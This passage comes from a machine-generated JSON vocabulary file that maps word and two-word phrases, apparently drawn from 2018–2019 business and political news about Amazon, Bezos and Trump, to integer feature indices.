\"foundation closing\": 203934,\n  \"minerd 2018\": 203935,\n  \"salary estimates\": 203936,\n  \"solid financial\": 203937,\n  \"touting relentlessly\": 203938,\n  \"trails hydration\": 203939,\n  \"fourth amendment\": 203940,\n  \"neil dhar\": 203941,\n  \"bulk rates\": 203942,\n  \"community space\": 203943,\n  \"claims washington\": 203944,\n  \"company long\": 203945,\n  \"avoid taxes\": 203946,\n  \"pledged billion\": 203947,\n  \"empire headlineplaintext\": 203948,\n  \"license calling\": 203949,\n  \"jinping visited\": 203950,\n  \"bezos enormous\": 203951,\n  \"fact thought\": 203952,\n  \"year improve\": 203953,\n  \"alanna durkin\": 203954,\n  \"disputed diagnosis\": 203955,\n  \"urinating\": 203956,\n  \"yarborough music\": 203957,\n  \"china cctv\": 203958,\n  \"double child\": 203959,\n  \"open door\": 203960,\n  \"searchable database\": 203961,\n  \"ratings challenged\": 203962,\n  \"day events\": 203963,\n  \"plant closure\": 203964,\n  \"kong matt\": 203965,\n  \"videoplayer showspinner\": 203966,\n  \"research analysts\": 203967,\n  \"million dollar\": 203968,\n  \"today look\": 203969,\n  \"wisconsin story\": 203970,\n  \"max aircraft\": 203971,\n  \"tariff hike\": 203972,\n  \"doesnt slow\": 203973,\n  \"app cbs\": 203974,\n  \"billion barrier\": 203975,\n  \"juylcwhmga\": 203976,\n  \"bbq\": 203977,\n  \"aggressive allegations\": 203978,\n  \"trading saudi\": 203979,\n  \"weekly\": 203980,\n  \"abney told\": 203981,\n  \"existing fortune\": 203982,\n  \"baby barrage\": 203983,\n  \"subverts expectations\": 203984,\n  \"2018 axel\": 203985,\n  \"musing\": 203986,\n  \"updatecurrentlyplaying videoid\": 203987,\n  \"published raunchy\": 203988,\n  \"2010 settlement\": 203989,\n  \"tank worker\": 203990,\n  \"public disrepute\": 203991,\n  \"disappointing year\": 203992,\n  \"richdicriscio\": 203993,\n  \"hour seasonal\": 203994,\n  \"crucial early\": 203995,\n  \"bedrock\": 203996,\n  \"anchor bezos\": 203997,\n  \"multiple students\": 203998,\n  \"originally appeared\": 203999,\n  \"trump real\": 204000,\n  \"infrastructure buy\": 204001,\n  \"extra critically\": 204002,\n  \"inducing\": 204003,\n  \"nobre\": 204004,\n  \"chinese technology\": 204005,\n  \"numbers cause\": 204006,\n  \"talley\": 204007,\n  \"really amounted\": 204008,\n  \"handsome\": 204009,\n  \"containing alleged\": 204010,\n  \"economy hit\": 204011,\n  \"comcast quarter\": 204012,\n  \"revenue apple\": 204013,\n  \"magazine writer\": 204014,\n  \"baffling entry\": 204015,\n  \"korea nuclear\": 204016,\n  \"convict\": 204017,\n  \"underwhelm alphabet\": 204018,\n  \"investment group\": 204019,\n  \"centrist moderate\": 204020,\n  \"current estimates\": 204021,\n  \"trillion briefly\": 204022,\n  \"habits amazon\": 204023,\n  \"financial industry\": 204024,\n  \"commuters particularly\": 204025,\n  \"satanic research\": 204026,\n  \"mortar shopping\": 204027,\n  \"amazon 600\": 204028,\n  \"gracious\": 204029,\n  \"novel long\": 204030,\n  \"neale hurston\": 204031,\n  \"make trade\": 204032,\n  \"legit\": 204033,\n  \"freepressmedia\": 204034,\n  \"lifestyle brands\": 204035,\n  \"paper read\": 204036,\n  \"amazon plenty\": 204037,\n  \"cancelling 722\": 204038,\n  \"mother gonna\": 204039,\n  \"kindle ebooks\": 204040,\n  \"paying higher\": 204041,\n  \"banker real\": 204042,\n  \"reshaped\": 204043,\n  \"powerpoint\": 204044,\n  \"normie married\": 204045,\n  \"amazon internet\": 204046,\n  \"gary hart\": 204047,\n  \"chairperson\": 204048,\n  \"palantir provides\": 204049,\n  \"entails nevermind\": 204050,\n  \"article amazon\": 204051,\n  \"says wear\": 204052,\n  \"bigger things\": 204053,\n  \"1024w\": 204054,\n  \"nocera\": 204055,\n  \"common complaints\": 204056,\n  \"ascending vertically\": 204057,\n  \"mercaderes\": 204058,\n  \"huebner president\": 204059,\n  \"registered individual\": 204060,\n  \"threatened review\": 204061,\n  \"saudi dissident\": 204062,\n  \"china plans\": 204063,\n  \"tanker production\": 204064,\n  \"pitching hot\": 204065,\n  \"pay 150\": 204066,\n  \"office jason\": 204067,\n  \"family betrayals\": 204068,\n  \"booboo\": 204069,\n  \"smoother experience\": 204070,\n  \"anti business\": 204071,\n  \"bashes\": 204072,\n  \"relevant trends\": 204073,\n  \"getting kids\": 204074,\n  \"seen bipartisan\": 204075,\n  \"criticized twitter\": 204076,\n  \"briefly blocked\": 204077,\n  \"203 shares\": 204078,\n  \"unearthing\": 204079,\n  \"estimated 150\": 204080,\n  \"plagiarism claims\": 204081,\n  \"required high\": 204082,\n  \"880 editorial\": 204083,\n  \"based fund\": 204084,\n  \"word isnt\": 204085,\n  \"dna\": 204086,\n  \"private plane\": 204087,\n  \"breaking overnight\": 204088,\n  \"selection\": 204089,\n  \"hinton discusses\": 204090,\n  \"week despite\": 204091,\n  \"obstruct justice\": 204092,\n  \"nike sneakers\": 204093,\n  \"calling radical\": 204094,\n  \"familiar headwinds\": 204095,\n  \"hard hit\": 204096,\n  \"bezos mocking\": 204097,\n  \"beast jeff\": 204098,\n  \"caption seattle\": 204099,\n  \"national state\": 204100,\n  \"amazon dji\": 204101,\n  \"houten marking\": 204102,\n  \"management matter\": 204103,\n  \"fda 2018\": 204104,\n  \"charge vendors\": 204105,\n  \"enjoyed double\": 204106,\n  \"kemp bob\": 204107,\n  \"dictates\": 204108,\n  \"overtook\": 204109,\n  \"fresh round\": 204110,\n  \"major investigation\": 204111,\n  \"initiative amazon\": 204112,\n  \"row despite\": 204113,\n  \"merger arguing\": 204114,\n  \"selfies taken\": 204115,\n  \"midcareer\": 204116,\n  \"political humor\": 204117,\n  \"numerous tools\": 204118,\n  \"michigan avenue\": 204119,\n  \"corsi foto\": 204120,\n  \"taylor joy\": 204121,\n  \"subway cars\": 204122,\n  \"cumbersome\": 204123,\n  \"party bjp\": 204124,\n  \"attendees form\": 204125,\n  \"pennsylvania state\": 204126,\n  \"security including\": 204127,\n  \"canceled hearing\": 204128,\n  \"raw materials\": 204129,\n  \"night stunned\": 204130,\n  \"contextual\": 204131,\n  \"massive corporate\": 204132,\n  \"toughest oldest\": 204133,\n  \"damore\": 204134,\n  \"prosecutors later\": 204135,\n  \"amazon changed\": 204136,\n  \"order commandeering\": 204137,\n  \"supporting veterans\": 204138,\n  \"democrat right\": 204139,\n  \"safety board\": 204140,\n  \"cdc_4594963233aeb9189cdc41a8_embed\": 204141,\n  \"suborbital space\": 204142,\n  \"enriched bezos\": 204143,\n  \"department deal\": 204144,\n  \"bing news\": 204145,\n  \"sepeda miller\": 204146,\n  \"pesky issue\": 204147,\n  \"ken starr\": 204148,\n  \"new major\": 204149,\n  \"kevin spacey\": 204150,\n  \"wrote increase\": 204151,\n  \"armoured\": 204152,\n  \"stop accusing\": 204153,\n  \"difficult decisions\": 204154,\n  \"country longest\": 204155,\n  \"cidoni lennox\": 204156,\n  \"mucci mayfield\": 204157,\n  \"parking aid\": 204158,\n  \"h0 z4\": 204159,\n  \"trumpist right\": 204160,\n  \"told cbs\": 204161,\n  \"136 billion\": 204162,\n  \"matter parallels\": 204163,\n  \"margin improved\": 204164,\n  \"significant political\": 204165,\n  \"britt\": 204166,\n  \"nation forest\": 204167,\n  \"hope claudia\": 204168,\n  \"retain exclusive\": 204169,\n  \"smiling\": 204170,\n  \"oregon cp\": 204171,\n  \"delhi faced\": 204172,\n  \"biggest corporate\": 204173,\n  \"paying rent\": 204174,\n  \"service ramp\": 204175,\n  \"sumitomo mitsui\": 204176,\n  \"edgar\": 204177,\n  \"new yorktimes\": 204178,\n  \"battered tech\": 204179,\n  \"teenage children\": 204180,\n  \"aubrey\": 204181,\n  \"shipping ending\": 204182,\n  \"hard schweitzer\": 204183,\n  \"caustic\": 204184,\n  \"contractor choosing\": 204185,\n  \"horn dog\": 204186,\n  \"supply spread\": 204187,\n  \"twitter swiping\": 204188,\n  \"called wrong\": 204189,\n  \"negative taxes\": 204190,\n  \"hand trust\": 204191,\n  \"seller called\": 204192,\n  \"sexual secrets\": 204193,\n  \"website ad\": 204194,\n  \"group nasdaq\": 204195,\n  \"did right\": 204196,\n  \"mining hardware\": 204197,\n  \"story mueller\": 204198,\n  \"vehemently denies\": 204199,\n  \"points finger\": 204200,\n  \"enquirer admitted\": 204201,\n  \"television gripping\": 204202,\n  \"taxi driver\": 204203,\n  \"following conversation\": 204204,\n  \"custom_article_footer\": 204205,\n  \"awaiting employees\": 204206,\n  \"puzzles designed\": 204207,\n  \"rita\": 204208,\n  \"american trump\": 204209,\n  \"realities economic\": 204210,\n  \"software european\": 204211,\n  \"amazon remained\": 204212,\n  \"recently paid\": 204213,\n  \"33rd\": 204214,\n  \"popular warehouse\": 204215,\n  \"corn dr\": 204216,\n  \"43539638 cc66d8b3d8354d7686ff849b53fcb798\": 204217,\n  \"brought guest\": 204218,\n  \"wife hanin\": 204219,\n  \"assumption\": 204220,\n  \"financially upside\": 204221,\n  \"big world\": 204222,\n  \"says john\": 204223,\n  \"home franck\": 204224,\n  \"told cnbc\": 204225,\n  \"squandering\": 204226,\n  \"political favors\": 204227,\n  \"reportedly uncovered\": 204228,\n  \"massive strategy\": 204229,\n  \"collusion theflashback\": 204230,\n  \"zakrzewski cat\": 204231,\n  \"mark makela\": 204232,\n  \"cheap shots\": 204233,\n  \"cutting production\": 204234,\n  \"character mistaking\": 204235,\n  \"politics accusations\": 204236,\n  \"agreeing\": 204237,\n  \"don consult\": 204238,\n  \"gain million\": 204239,\n  \"transactions detailed\": 204240,\n  \"cream raised\": 204241,\n  \"obviously trump\": 204242,\n  \"week victor\": 204243,\n  \"influential companies\": 204244,\n  \"philanthropic foundation\": 204245,\n  \"normally does\": 204246,\n  \"worker told\": 204247,\n  \"playboy\": 204248,\n  \"democracy warren\": 204249,\n  \"kelly mahon\": 204250,\n  \"local new\": 204251,\n  \"corp cvs\": 204252,\n  \"empower new\": 204253,\n  \"antitrust investigators\": 204254,\n  \"worried americans\": 204255,\n  \"voice technology\": 204256,\n  \"santa fe\": 204257,\n  \"presents quandary\": 204258,\n  \"getting quite\": 204259,\n  \"biggest winner\": 204260,\n  \"boycottwalmart trended\": 204261,\n  \"2018 file\": 204262,\n  \"include setting\": 204263,\n  \"lavish\": 204264,\n  \"sr_1_11_sspa\": 204265,\n  \"new charges\": 204266,\n  \"review according\": 204267,\n  \"life marketwatch\": 204268,\n  \"tabloid shlock\": 204269,\n  \"little research\": 204270,\n  \"breaking bad\": 204271,\n  \"drudge\": 204272,\n  \"esposito\": 204273,\n  \"kobeissi\": 204274,\n  \"import iranian\": 204275,\n  \"program annual\": 204276,\n  \"hq2 proposal\": 204277,\n  \"political disputes\": 204278,\n  \"extra months\": 204279,\n  \"favor murphy\": 204280,\n  \"philharmonic\": 204281,\n  \"ended feb\": 204282,\n  \"northrop grumman\": 204283,\n  \"trump order\": 204284,\n  \"homes stopped\": 204285,\n  \"antitrust\": 204286,\n  \"ad business\": 204287,\n  \"today kitchen\": 204288,\n  \"instagram adds\": 204289,\n  \"open retirement\": 204290,\n  \"bamboo material\": 204291,\n  \"quickly grow\": 204292,\n  \"ota business\": 204293,\n  \"shots\": 204294,\n  \"years jocelyn\": 204295,\n  \"restructure pre\": 204296,\n  \"twitter dumping\": 204297,\n  \"expecting morgan\": 204298,\n  \"collects data\": 204299,\n  \"audio leaked\": 204300,\n  \"month attack\": 204301,\n  \"reworked attack\": 204302,\n  \"removing trump\": 204303,\n  \"carrell\": 204304,\n  \"740m contract\": 204305,\n  \"citing\": 204306,\n  \"weird thing\": 204307,\n  \"bumbles\": 204308,\n  \"original measure\": 204309,\n  \"years including\": 204310,\n  \"allen bullied\": 204311,\n  \"biggest retailers\": 204312,\n  \"pretty close\": 204313,\n  \"court records\": 204314,\n  \"846\": 204315,\n  \"balcony\": 204316,\n  \"true mad\": 204317,\n  \"trump little\": 204318,\n  \"president kennedy\": 204319,\n  \"week john\": 204320,\n  \"lakefront whites\": 204321,\n  \"just bunch\": 204322,\n  \"trump soft\": 204323,\n  \"memo targets\": 204324,\n  \"park kathleen\": 204325,\n  \"maintain relevance\": 204326,\n  \"extra management\": 204327,\n  \"psa\": 204328,\n  \"intimate\": 204329,\n  \"story master\": 204330,\n  \"unitedhealth stock\": 204331,\n  \"progressive areas\": 204332,\n  \"search facebook\": 204333,\n  \"dieter kempf\": 204334,\n  \"sector salles\": 204335,\n  \"booming trillion\": 204336,\n  \"things targeted\": 204337,\n  \"726 shares\": 204338,\n  \"bezos reputational\": 204339,\n  \"released related\": 204340,\n  \"genius druckenmiller\": 204341,\n  \"robust holiday\": 204342,\n  \"moody anne\": 204343,\n  \"reads nice\": 204344,\n  \"marrying brutality\": 204345,\n  \"christmas shopping\": 204346,\n  \"recent outdoor\": 204347,\n  \"meets putin\": 204348,\n  \"increasingly erratic\": 204349,\n  \"asia believe\": 204350,\n  \"unannounced\": 204351,\n  \"outpricing smaller\": 204352,\n  \"recently imposed\": 204353,\n  \"managing trademark\": 204354,\n  \"trump frenemies\": 204355,\n  \"slowdown\": 204356,\n  \"logistics players\": 204357,\n  \"dreamland16 nov\": 204358,\n  \"coded language\": 204359,\n  \"pay fo\": 204360,\n  \"yearly awards\": 204361,\n  \"beautiful food\": 204362,\n  \"currenttarget\": 204363,\n  \"bezos marital\": 204364,\n  \"safety133\": 204365,\n  \"b06y5tlnjw\": 204366,\n  \"tactical weapon\": 204367,\n  \"including surveillance\": 204368,\n  \"losses\": 204369,\n  \"pro america\": 204370,\n  \"respect\": 204371,\n  \"sharp slowdowns\": 204372,\n  \"amid trade\": 204373,\n  \"regulatory reports\": 204374,\n  \"gross salary\": 204375,\n  \"issues associated\": 204376,\n  \"waze nest\": 204377,\n  \"past mistakes\": 204378,\n  \"amazon notion\": 204379,\n  \"casually stepped\": 204380,\n  \"temporary period\": 204381,\n  \"invigorating ecosystem\": 204382,\n  \"000 tech\": 204383,\n  \"particular district\": 204384,\n  \"chief information\": 204385,\n  \"child sex\": 204386,\n  \"private carriers\": 204387,\n  \"preach\": 204388,\n  \"seizes faux\": 204389,\n  \"jealousy\": 204390,\n  \"tourist development\": 204391,\n  \"sweeping measure\": 204392,\n  \"trump coins\": 204393,\n  \"taking bribes\": 204394,\n  \"crazed\": 204395,\n  \"matthew liao\": 204396,\n  \"neatly fit\": 204397,\n  \"smoking 2019\": 204398,\n  \"oversaturation\": 204399,\n  \"conservative judges\": 204400,\n  \"financial wealth\": 204401,\n  \"hefty tariff\": 204402,\n  \"implement new\": 204403,\n  \"spectrem group\": 204404,\n  \"office doesn\": 204405,\n  \"murillo slot\": 204406,\n  \"listers migrating\": 204407,\n  \"steaks\": 204408,\n  \"snared\": 204409,\n  \"hatefully derogatory\": 204410,\n  \"runs long\": 204411,\n  \"fluently\": 204412,\n  \"swoons\": 204413,\n  \"fixing including\": 204414,\n  \"bbva\": 204415,\n  \"unorthodox tax\": 204416,\n  \"expansion new\": 204417,\n  \"following link\": 204418,\n  \"vested\": 204419,\n  \"truly does\": 204420,\n  \"california cities\": 204421,\n  \"success despite\": 204422,\n  \"select\": 204423,\n  \"construction\": 204424,\n  \"donut brain\": 204425,\n  \"cover school\": 204426,\n  \"saber\": 204427,\n  \"summer 2017\": 204428,\n  \"council immigration\": 204429,\n  \"enhanced cloud\": 204430,\n  \"truly bright\": 204431,\n  \"mngmt limited\": 204432,\n  \"precursor\": 204433,\n  \"fusco\": 204434,\n  \"recognized residents\": 204435,\n  \"amazon advertising\": 204436,\n  \"moonves pic\": 204437,\n  \"disruptive writing\": 204438,\n  \"perino host\": 204439,\n  \"washington bloomberg\": 204440,\n  \"fadeout memphis\": 204441,\n  \"seattle editing\": 204442,\n  \"acquire pillpack\": 204443,\n  \"impress\": 204444,\n  \"000 headquarters\": 204445,\n  \"making life\": 204446,\n  \"state court\": 204447,\n  \"china warns\": 204448,\n  \"giving green\": 204449,\n  \"present\": 204450,\n  \"2019 guidance\": 204451,\n  \"officer dana\": 204452,\n  \"stopimmediatepropagation a4ee\": 204453,\n  \"ring publicly\": 204454,\n  \"alumni\": 204455,\n  \"server719401 authors\": 204456,\n  \"50th anniversary\": 204457,\n  \"architecture operation\": 204458,\n  \"yearlong\": 204459,\n  \"accept taxpayer\": 204460,\n  \"caveats\": 204461,\n  \"slightest bit\": 204462,\n  \"employee writes\": 204463,\n  \"protect millions\": 204464,\n  \"decades serving\": 204465,\n  \"dollar subdued\": 204466,\n  \"galling masthead\": 204467,\n  \"nurses teachers\": 204468,\n  \"facebook buys\": 204469,\n  \"dan kohn\": 204470,\n  \"handled north\": 204471,\n  \"cedar\": 204472,\n  \"main indexes\": 204473,\n  \"separating families\": 204474,\n  \"finance glassdoor\": 204475,\n  \"retain labor\": 204476,\n  \"forward looking\": 204477,\n  \"rightward ultimately\": 204478,\n  \"economy roars\": 204479,\n  \"asset manager\": 204480,\n  \"covering market\": 204481,\n  \"specific ideas\": 204482,\n  \"secure borders\": 204483,\n  \"stop losses\": 204484,\n  \"good life\": 204485,\n  \"nicol\\u00e1s\": 204486,\n  \"leak politically\": 204487,\n  \"ujfoqv0uzk dana\": 204488,\n  \"inzaulgarat conservationists\": 204489,\n  \"confronts\": 204490,\n  \"changes directly\": 204491,\n  \"numerous workers\": 204492,\n  \"dwellings\": 204493,\n  \"penalty\": 204494,\n  \"question feds\": 204495,\n  \"enquirer earlier\": 204496,\n  \"office mojo\": 204497,\n  \"shocked america\": 204498,\n  \"penney\": 204499,\n  \"particular company\": 204500,\n  \"tweet stating\": 204501,\n  \"latest change\": 204502,\n  \"publicity rising\": 204503,\n  \"manner jessie\": 204504,\n  \"fact investing\": 204505,\n  \"republicans pressure\": 204506,\n  \"retires\": 204507,\n  \"media hide\": 204508,\n  \"walmart bergh\": 204509,\n  \"resemblance\": 204510,\n  \"russian interests\": 204511,\n  \"components used\": 204512,\n  \"cnl_filelocation money\": 204513,\n  \"electricity rates\": 204514,\n  \"day deliveries\": 204515,\n  \"stephen warren\": 204516,\n  \"profile player\": 204517,\n  \"right device\": 204518,\n  \"preschoolers play\": 204519,\n  \"citizens\": 204520,\n  \"widely perceived\": 204521,\n  \"corporations tcja\": 204522,\n  \"thorough evaluation\": 204523,\n  \"campaign using\": 204524,\n  \"feet cold\": 204525,\n  \"feature blue\": 204526,\n  \"alongside reps\": 204527,\n  \"heavy handed\": 204528,\n  \"enquirer stone\": 204529,\n  \"morning joining\": 204530,\n  \"turmoil surrounding\": 204531,\n  \"afghan hospitals\": 204532,\n  \"epidemic photo\": 204533,\n  \"h2q offices\": 204534,\n  \"alleged relationship\": 204535,\n  \"harley\": 204536,\n  \"400 different\": 204537,\n  \"children sanchez\": 204538,\n  \"inside school\": 204539,\n  \"closed mouthed\": 204540,\n  \"sold equities\": 204541,\n  \"long dominated\": 204542,\n  \"heel\": 204543,\n  \"fold cohen\": 204544,\n  \"security accusing\": 204545,\n  \"debate grows\": 204546,\n  \"mkm partners\": 204547,\n  \"heights latest\": 204548,\n  \"doesn permit\": 204549,\n  \"increased billion\": 204550,\n  \"house progressive\": 204551,\n  \"new preschools\": 204552,\n  \"kindle\": 204553,\n  \"wow griffeth\": 204554,\n  \"dollars share\": 204555,\n  \"businesses charging\": 204556,\n  \"mortar locations\": 204557,\n  \"rapidly growing\": 204558,\n  \"nina jurna\": 204559,\n  \"levy 2019\": 204560,\n  \"ongoing battles\": 204561,\n  \"advised aws\": 204562,\n  \"chase healthcare\": 204563,\n  \"vast amounts\": 204564,\n  \"consulting practice\": 204565,\n  \"regret minimization\": 204566,\n  \"existed product\": 204567,\n  \"alleging mistreatment\": 204568,\n  \"vaccination\": 204569,\n  \"hill map\": 204570,\n  \"mined public\": 204571,\n  \"reusable\": 204572,\n  \"tomorrow today\": 204573,\n  \"bombay\": 204574,\n  \"expected democratic\": 204575,\n  \"reportedly receiving\": 204576,\n  \"promote hate\": 204577,\n  \"founder arrested\": 204578,\n  \"dp\": 204579,\n  \"swa\": 204580,\n  \"combine\": 204581,\n  \"explicit consent\": 204582,\n  \"customers homes\": 204583,\n  \"designed new\": 204584,\n  \"dubious honor\": 204585,\n  \"earn minimum\": 204586,\n  \"fake site\": 204587,\n  \"east wing\": 204588,\n  \"secure relief\": 204589,\n  \"parcel trade\": 204590,\n  \"millions running\": 204591,\n  \"disparate treatment\": 204592,\n  \"2741a\": 204593,\n  \"boy situation\": 204594,\n  \"laptop\": 204595,\n  \"lacefront\": 204596,\n  \"bezos offers\": 204597,\n  \"supposedly contribute\": 204598,\n  \"series sharp\": 204599,\n  \"helped bolster\": 204600,\n  \"year applied\": 204601,\n  \"potential obama\": 204602,\n  \"fair thing\": 204603,\n  \"rosenworcel jrosenworcel\": 204604,\n  \"subway station\": 204605,\n  \"mainly\": 204606,\n  \"bronx district\": 204607,\n  \"funder brought\": 204608,\n  \"criticism aimed\": 204609,\n  \"frozen elmo\": 204610,\n  \"devices promise\": 204611,\n  \"wisconsin anti\": 204612,\n  \"tumultuous\": 204613,\n  \"sent recording\": 204614,\n  \"believer\": 204615,\n  \"replace obamacare\": 204616,\n  \"pardon people\": 204617,\n  \"steamroller\": 204618,\n  \"problematic literature\": 204619,\n  \"guns\": 204620,\n  \"extortionate\": 204621,\n  \"precedent assuming\": 204622,\n  \"says approval\": 204623,\n  \"following followers\": 204624,\n  \"weather wage\": 204625,\n  \"ra shad\": 204626,\n  \"energize people\": 204627,\n  \"punctures amazon\": 204628,\n  \"community reinvestment\": 204629,\n  \"paterson did\": 204630,\n  \"impeachies\": 204631,\n  \"paypal\": 204632,\n  \"condos\": 204633,\n  \"city reserves\": 204634,\n  \"mufg union\": 204635,\n  \"gado amazon\": 204636,\n  \"generally pay\": 204637,\n  \"g0ts6yvqf9\": 204638,\n  \"capital partners\": 204639,\n  \"happily amazon\": 204640,\n  \"whitlock did\": 204641,\n  \"nbc government\": 204642,\n  \"hotel rooms\": 204643,\n  \"news indian\": 204644,\n  \"kevin slane\": 204645,\n  \"stated individuals\": 204646,\n  \"mariachi child\": 204647,\n  \"soros davos\": 204648,\n  \"days stern\": 204649,\n  \"rapidly delivering\": 204650,\n  \"producer isa\": 204651,\n  \"strong borders\": 204652,\n  \"related source\": 204653,\n  \"lasnik infringed\": 204654,\n  \"risks angering\": 204655,\n  \"followed amazon\": 204656,\n  \"picture deal\": 204657,\n  \"grew trump\": 204658,\n  \"coverage 2018\": 204659,\n  \"trump jokes\": 204660,\n  \"league revenue\": 204661,\n  \"employees walked\": 204662,\n  \"claims trump\": 204663,\n  \"running 98point6\": 204664,\n  \"identifying criminals\": 204665,\n  \"buy stake\": 204666,\n  \"bauserman\": 204667,\n  \"says does\": 204668,\n  \"estate agent\": 204669,\n  \"incentivise positive\": 204670,\n  \"954 shares\": 204671,\n  \"ancestry pollster\": 204672,\n  \"img_bucketref null\": 204673,\n  \"floor battle\": 204674,\n  \"bomb investigation\": 204675,\n  \"job 1536177183\": 204676,\n  \"cowen\": 204677,\n  \"toy story\": 204678,\n  \"commuting\": 204679,\n  \"europe\": 204680,\n  \"bring\": 204681,\n  \"aka osho\": 204682,\n  \"garb\": 204683,\n  \"275k\": 204684,\n  \"shutdown01\": 204685,\n  \"jordyn phelps\": 204686,\n  \"sell facial\": 204687,\n  \"michael nelson\": 204688,\n  \"drowning\": 204689,\n  \"socks\": 204690,\n  \"stay united\": 204691,\n  \"characterize\": 204692,\n  \"weighs\": 204693,\n  \"unwittingly\": 204694,\n  \"presidency\": 204695,\n  \"culture ipo\": 204696,\n  \"term trade\": 204697,\n  \"bull run\": 204698,\n  \"monthly basis\": 204699,\n  \"benefit\": 204700,\n  \"list penguin\": 204701,\n  \"department official\": 204702,\n  \"president faces\": 204703,\n  \"viking memoir\": 204704,\n  \"patent protection\": 204705,\n  \"doug parker\": 204706,\n  \"418987\": 204707,\n  \"national action\": 204708,\n  \"foreclosure fraud\": 204709,\n  \"hypotheekrente\": 204710,\n  \"include shifting\": 204711,\n  \"prominent hollywood\": 204712,\n  \"vulnerable westerner\": 204713,\n  \"voice art\": 204714,\n  \"protection strategy\": 204715,\n  \"robinson kenan\": 204716,\n  \"trust hank\": 204717,\n  \"learning activites\": 204718,\n  \"know tips\": 204719,\n  \"2420\": 204720,\n  \"arms demanding\": 204721,\n  \"mining quarrying\": 204722,\n  \"invasive\": 204723,\n  \"big flavors\": 204724,\n  \"today tell\": 204725,\n  \"corporate bidding\": 204726,\n  \"messages censor\": 204727,\n  \"comey book\": 204728,\n  \"new tongue\": 204729,\n  \"pay today\": 204730,\n  \"gun violence\": 204731,\n  \"mins\": 204732,\n  \"previously single\": 204733,\n  \"jacket prerecorded\": 204734,\n  \"massive size\": 204735,\n  \"demand rebound\": 204736,\n  \"flexible leave\": 204737,\n  \"ncaa basketball\": 204738,\n  \"inside job\": 204739,\n  \"different outcome\": 204740,\n  \"overtime hickman\": 204741,\n  \"including trumps\": 204742,\n  \"marketwatch cnn\": 204743,\n  \"forms ranging\": 204744,\n  \"president donald\": 204745,\n  \"preceded sucr\\u00e9\": 204746,\n  \"netflix lyft\": 204747,\n  \"decade attacking\": 204748,\n  \"receive lower\": 204749,\n  \"channel checks\": 204750,\n  \"cortez helped\": 204751,\n  \"card issuers\": 204752,\n  \"foot locker\": 204753,\n  \"yu\": 204754,\n  \"place freight\": 204755,\n  \"launched charm\": 204756,\n  \"president andrew\": 204757,\n  \"tony angelo\": 204758,\n  \"highflier micron\": 204759,\n  \"beer booze\": 204760,\n  \"agile used\": 204761,\n  \"securing customer\": 204762,\n  \"stores kroger\": 204763,\n  \"reader commenting\": 204764,\n  \"alleging\": 204765,\n  \"marginally disrupt\": 204766,\n  \"2018 gross\": 204767,\n  \"forum margrethe\": 204768,\n  \"uk tabloid\": 204769,\n  \"dakota required\": 204770,\n  \"lockheed won\": 204771,\n  \"marketplace operator\": 204772,\n  \"shares apg\": 204773,\n  \"recent snl\": 204774,\n  \"reveals payment\": 204775,\n  \"commission taking\": 204776,\n  \"article published\": 204777,\n  \"facto leader\": 204778,\n  \"yorkers supported\": 204779,\n  \"lax\": 204780,\n  \"joins forces\": 204781,\n  \"just silence\": 204782,\n  \"ideas facebook\": 204783,\n  \"debunking trump\": 204784,\n  \"estate transfer\": 204785,\n  \"explosive addressed\": 204786,\n  \"divided\": 204787,\n  \"frequent substitute\": 204788,\n  \"licensing clause\": 204789,\n  \"arguably time\": 204790,\n  \"anointing\": 204791,\n  \"exposed evidence\": 204792,\n  \"thomas wenski\": 204793,\n  \"york airs\": 204794,\n  \"throwing tax\": 204795,\n  \"worth watching\": 204796,\n  \"osama bin\": 204797,\n  \"catherine rampell\": 204798,\n  \"time commissioner\": 204799,\n  \"hero ocasio\": 204800,\n  \"financial incentive\": 204801,\n  \"stuff effectively\": 204802,\n  \"lag\": 204803,\n  \"news good\": 204804,\n  \"latest list\": 204805,\n  \"government repeatedly\": 204806,\n  \"fivestar\": 204807,\n  \"aside issues\": 204808,\n  \"seen really\": 204809,\n  \"worst bullies\": 204810,\n  \"nakamura\": 204811,\n  \"6pm\": 204812,\n  \"2013 showing\": 204813,\n  \"production coming\": 204814,\n  \"time believing\": 204815,\n  \"doctrine greatly\": 204816,\n  \"hq2 announcement\": 204817,\n  \"narrative creating\": 204818,\n  \"book presented\": 204819,\n  \"running deficits\": 204820,\n  \"high cost\": 204821,\n  \"kink\": 204822,\n  \"kaczynski christopher\": 204823,\n  \"independent regulator\": 204824,\n  \"community amazon\": 204825,\n  \"interesting curiosity\": 204826,\n  \"affect amazon\": 204827,\n  \"amazon commitment\": 204828,\n  \"centers including\": 204829,\n  \"carried signs\": 204830,\n  \"hardware right\": 204831,\n  \"shutdown surpassed\": 204832,\n  \"koons cindy\": 204833,\n  \"wants mexico\": 204834,\n  \"midday london\": 204835,\n  \"telling dwyre\": 204836,\n  \"better intervene\": 204837,\n  \"curve inflation\": 204838,\n  \"instead focusing\": 204839,\n  \"businesses told\": 204840,\n  \"says 2019\": 204841,\n  \"democrats label\": 204842,\n  \"pals including\": 204843,\n  \"trump base\": 204844,\n  \"hosting defense\": 204845,\n  \"reviews haven\": 204846,\n  \"month observation\": 204847,\n  \"instance stipulates\": 204848,\n  \"republican dominated\": 204849,\n  \"annual rate\": 204850,\n  \"issues maybe\": 204851,\n  \"hpq\": 204852,\n  \"wmt posted\": 204853,\n  \"fallout continues\": 204854,\n  \"700 voice\": 204855,\n  \"organization pen\": 204856,\n  \"exhibiting pattern\": 204857,\n  \"systematically favored\": 204858,\n  \"instead driven\": 204859,\n  \"tom cooper\": 204860,\n  \"advisers including\": 204861,\n  \"baja california\": 204862,\n  \"answered\": 204863,\n  \"bros\": 204864,\n  \"jedi demonstrates\": 204865,\n  \"businesses add\": 204866,\n  \"decides\": 204867,\n  \"conductor\": 204868,\n  \"rheinberg\": 204869,\n  \"lifelong education\": 204870,\n  \"brittny\": 204871,\n  \"nahmias nickniedz\": 204872,\n  \"announced information\": 204873,\n  \"service claim\": 204874,\n  \"rubbersole work\": 204875,\n  \"2_5 ad\": 204876,\n  \"markets employees\": 204877,\n  \"mccarthy calif\": 204878,\n  \"7b\": 204879,\n  \"fact congress\": 204880,\n  \"workers demanding\": 204881,\n  \"joe host\": 204882,\n  \"avowed backer\": 204883,\n  \"wants billions\": 204884,\n  \"johnking thank\": 204885,\n  \"world used\": 204886,\n  \"companies owned\": 204887,\n  \"bias censorship\": 204888,\n  \"currentvidobj videoid\": 204889,\n  \"newsday anna\": 204890,\n  \"585 businesses\": 204891,\n  \"knights hockey\": 204892,\n  \"settlement blame\": 204893,\n  \"president heads\": 204894,\n  \"fucking shit\": 204895,\n  \"deduction\": 204896,\n  \"makes 75pc\": 204897,\n  \"9411680da8c6402caa7d14b071daa953 